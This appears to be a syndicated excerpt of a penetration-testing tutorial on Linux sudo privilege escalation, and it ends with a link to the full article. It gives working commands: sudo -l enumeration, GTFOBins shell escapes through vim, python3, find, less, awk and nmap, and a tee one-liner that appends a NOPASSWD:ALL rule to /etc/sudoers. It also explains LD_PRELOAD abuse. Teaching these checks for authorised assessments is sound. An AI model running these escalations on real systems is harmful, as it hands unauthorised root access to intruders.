Linux Sudo Privilege Escalation Methods — 7 Techniques + GTFOBins Guide

📰 Originally published on Securityelites — AI Red Team Education — the canonical, fully-updated version of this article.

I find a sudo misconfiguration on at least half of the Linux systems I assess. Not because organisations are careless — most have intentional sudo rules for legitimate operational reasons. The problem is that those rules were written by someone who understood the intended use case but didn’t know about GTFOBins. Every sudo rule that lets a user run a binary capable of spawning a shell, reading arbitrary files, or writing to privileged paths is a potential privilege escalation path. Here are the seven methods I use in practice, in order of how often I find them.

What You’ll Learn

Enumerate sudo permissions with sudo -l and understand the output
Exploit NOPASSWD sudo rules via GTFOBins techniques
Abuse LD_PRELOAD and env_keep for privilege escalation
Exploit wildcard injection in sudo rules
Check for vulnerable sudo versions (CVE-2021-3156 Sudo Baron Samedit)

⏱️ 30 min read · 3 exercises ### 7 Linux Sudo Privilege Escalation Methods – Table of Content 1. Enumeration — sudo -l and /etc/sudoers 2. NOPASSWD — Shell Escape via GTFOBins 3. LD_PRELOAD — Environment Variable Abuse 4. sudo Version Exploits — Baron Samedit 5. Wildcard Injection in sudo Rules 6. env_keep — Inherited Variable Abuse 7. Restricted Shell Bypass via Allowed Binaries Sudo privilege escalation is one of the first checks I run on every internal Linux assessment — right after confirming I have a shell. It is one of the core paths in the Privilege Escalation methodology. After you’ve run port scanning to confirm the service footprint, sudo enumeration is the first check I run after landing a low-privilege shell. My rule: sudo -l before anything else, every single time, without exception.

1. Enumeration — sudo -l and /etc/sudoers

Every privilege escalation attempt starts with enumeration. sudo -l lists what the current user can run with sudo — no password required for this check in most configurations. The output tells you everything about the attack surface before you need to research anything on GTFOBins.

SUDO ENUMERATION COMMANDSCopy

Most important command on initial shell

sudo -l

Sample output:

User www-data may run the following commands on target:
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/python3 /opt/scripts/backup.py
(ALL : ALL) ALL

Read /etc/sudoers if permissions allow (rare)

cat /etc/sudoers 2>/dev/null
cat /etc/sudoers.d/* 2>/dev/null

Interpreting the output

(root) NOPASSWD: /bin/vim → run vim as root, no password = GTFOBins target
(ALL) ALL → run ANYTHING as root = game over
(root) /usr/bin/python3 *.py → wildcard = injection possible
(root) /usr/bin/find → GTFOBins: find -exec /bin/sh \;

2. NOPASSWD — Shell Escape via GTFOBins

GTFOBins (gtfobins.github.io) catalogs shell escape techniques for hundreds of Linux binaries. When sudo -l shows a binary with NOPASSWD, I check GTFOBins for that binary immediately. Common binaries allowed in sudo rules that have trivial shell escape techniques: vim, nano, less, man, find, python, perl, ruby, awk, nmap, tee, cp.

NOPASSWD GTFOBins — TOP TECHNIQUESCopy

vim — escape to shell from vim

sudo vim -c ‘:!/bin/bash’

OR from inside vim:

:set shell=/bin/bash
:shell

python3 — one-liner to root shell

sudo python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

find — exec shell via find

sudo find / -name “*.conf” -exec /bin/bash \; -quit

less / man — shell from pager

sudo less /etc/passwd
Then type: !/bin/bash

awk

sudo awk ‘BEGIN {system(“/bin/bash”)}’

tee — write to privileged files

echo “www-data ALL=(ALL) NOPASSWD:ALL” | sudo tee -a /etc/sudoers

nmap (older versions with –interactive)

sudo nmap –interactive
nmap> !sh

EXERCISE 1 — BROWSER (15 MIN)
GTFOBins Research — Map 10 Binaries to Their Sudo Escape

Browser only · gtfobins.github.io

Visit gtfobins.github.io and find the sudo escalation technique for each:

1. tar 2. zip 3. perl 4. ruby 5. node (Node.js) 6. curl 7. wget 8. bash 9. env 10. git

For each binary record: – The exact sudo command that gives a root shell – Whether it requires any file to exist or parameter

Which 3 of these 10 would you most expect to find in a real sudo rule? (Think: what legitimate admin task would require this binary with sudo?)

Bonus: search for “cp” and “mv” — why are these dangerous in sudo rules?

✅ The three most common in real environments (based on my assessments): python/python3 (admins grant it for script management), find (for file search operations with elevated permissions), and less/more/man (for viewing log files without granting full read access). The “cp” and “mv” danger: with sudo cp, you can overwrite /etc/sudoers or /etc/passwd with a version you control — no shell escape needed, just a privilege-escalating file copy.

📸 Share your mapped table in #privilege-escalation on Discord.

3. LD_PRELOAD — Environment Variable Abuse

When sudo is configured with env_keep+=LD_PRELOAD, the LD_PRELOAD environment variable is preserved when running sudo commands. LD_PRELOAD forces a shared library to load before any other — including libc. If that library is attacker-controlled, any sudo invocation loads and executes the malicious library code as root.

---

📖 Read the complete guide on Securityelites — AI Red Team Education

This article continues with deeper technical detail, screenshots, code samples, and an interactive lab walk-through. Read the full article on Securityelites — AI Red Team Education →

---

This article was originally written and published by the Securityelites — AI Red Team Education team. For more cybersecurity tutorials, ethical hacking guides, and CTF walk-throughs, visit Securityelites — AI Red Team Education.